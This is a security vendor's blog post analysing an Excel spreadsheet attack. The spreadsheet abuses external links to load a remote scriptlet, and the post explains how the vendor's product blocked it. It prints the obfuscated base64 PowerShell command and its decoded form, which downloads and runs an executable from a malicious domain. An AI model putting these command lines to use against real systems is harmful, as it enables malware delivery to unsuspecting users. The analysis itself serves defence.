Excel ScriptLet Attack Blocked By enSilo
On December 8, 2017, enSilo, a unified endpoint security platform that provides both pre- and post-infection protection in real-time, blocked a new attack technique used to exploit the linked file mechanism in Microsoft Excel. During the time of detection, a spreadsheet file PAYMENT DETAILS.xlsx was used to run the malicious code on the affected system. During the time of the detection, this threat had very low detection rate in VirusTotal as shown in Figure 1:
Figure 1: VT Detection Rate
This blog post is intended to present the new technique for exploiting Microsoft Office applications such as Microsoft Excel using external links. In addition, it will show how enSilo post-infection protection platform successfully blocked it.
The new technique attempts to exploit a feature used in Microsoft Office products called external links. In a nutshell, external links are used to share references and information between Microsoft Office products and external resources. This feature is used to update information automatically and also adds an advantage by allowing the file size to be small. In this example, the threat is an Excel spreadsheet file. The following is the static characteristics of this file:
Filename: PAYMENT DETAILS.xlsx
File Size: 7608 bytes
When the victim launches this Excel spreadsheet (assuming the automatic update of external links is enabled), the victim is then presented with a window requesting an update. Figure 2 below shows this example:
Figure 2: Update window
Once the victim pressed on the update button, then Excel evaluates a link that appears to look like a formula, as shown in the following figure:
Figure 3: Script line
The =package string represents a file that was linked to the spreadsheet and its content. Excel calls the MkParseDisplayName API function (this function simply converts a string into a moniker that identifies the object named by the string) to parse that formula and the OleCreateLink API function (creates an OLE compound-document linked object) for executing that scriptlet. In this particular example, the file squery.xml is downloaded from the domain magchris[.]ga and then executes on the affected system. While writing of this post, this domain is offline and is also blacklisted by multiple security vendors.
The squery.xml file in our case is an XML scriptlet file. In a nutshell, scriptlet allows developers to create and register COM objects and execute them on the system. These scriptlet are using almost any scripting language. In this particular example, the scriptlet was written in VBScript language.
Analysis of Squery.xml
As mentioned, the squery.xml file is downloaded to the affected system after launching the Excel spreadsheet. The following is the static characteristics of this file:
File size: 1894 bytes
Figure 4 shows VBScript code portion inside this file:
Figure 4: Squery.xml code
This scriptlet XML file simply executes the following PowerShell script:
“ C:\Windows\system32\cmd.exe /c poWERSHelL.EXe-exByPAss-noP-WhiddEN-Ec IAAoAE4ARQB3AC0ATwBCAEoARQBDAFQAIABzAFkAcwBUAEUATQAuAG4AZQBUAC4AdwBFAEIAYwBsAGkARQBOAHQAKQAuAEQAbwBXAE4AbABPAGEAZABmAEkATABlACgAIAAdIGgAdAB0AHAAOgAvAC8AbQBhAGcAYwBoAHIAaQBzAC4AZwBhAC8AaQBtAGEAZwBlAHMALwBiAHIAbwBjAGgALgBlAHgAZQAdICAALAAgAB0gJABlAE4AVgA6AEEAcABwAEQAQQBUAGEAXAB3AGkAbgBhAHMAbQAdICAAKQAgADsAIABTAHQAQQBSAHQAIAAdICQARQBuAHYAOgBBAFAAUABEAEEAdABhAFwAdwBpAG4AYQBzAG0AHSA= “
Essentially it attempts to execute a base64 decoded string which decodes to the following string:
(NEw-OBJECT sYsTEM.neT.wEBcliENt).DoWNlOadfILe(http://magchris[.]ga/images/broch.exe,$eNV:AppDATa\winasm); StARt $Env:APPDAta\winasm
This PowerShell script attempts to download the binary file broch.exe from the domain magchris[.]ga and then save it on the affected system at the path $env:Appdata\winasm. Then it attempts to also execute that winasm binary file on the system. The file winasm is associated with malicious activity. The file wasn’t executed in this case because it is missing the exe extension which signals it as an executable file.
Although the final payload wasn’t executed, this case is worth mentioning because it presents a new technique to exploit Microsoft office applications that will probably be used in the future.
enSilo Pre- and Post-Infection Platform in Action
The PAYMENT DETAILS.xlsx Excel spreadsheet was launched in a controlled environment protected by enSilo platform. Ensilo detected and blocked the excel file activity and stopped the malicious file execution as shown in figure 5:
Figure 5: enSilo in Action
As you can see in the process chain, Microsoft Excel was launched as a process and then it spawned Windows cmd.exe. The cmd.exe process then spawned the PowerShell.exe. The PowerShell.exe process then attempted to spawn Windows shell32.exe and run the following command:
C:\Windows\system32\shell32.dll, OpenAs_RunDLL C:\Users\Win7X64SP1\AppData\Roaming\winasm
However, enSilo intercepted and blocked the next phase in this process execution chain as a result of detecting a suspicious script running with the Powershell.exe process. Since this event was blocked by enSilo, there was no need to analyze winasm functionally in the attack chain.
Note: These types of attacks can get blocked by enSilo platform on multiple stages from an initial execution, download of a payload and a payload execution. However, if we allow execution to occur, we can see that the last stage of execution is blocked.
We hope this post demystified how threats can leverage external Links in Microsoft Office products (such a Microsoft Excel) to download and execute a malicious scriplet to a system. The most message is that enSilo post-infection endpoint protection is capable of detecting and preventing attacks like this. Finally, Lastline should receive a big credit for first discovering and writing about this threat.
Learn more about enSilo by scheduling a demo.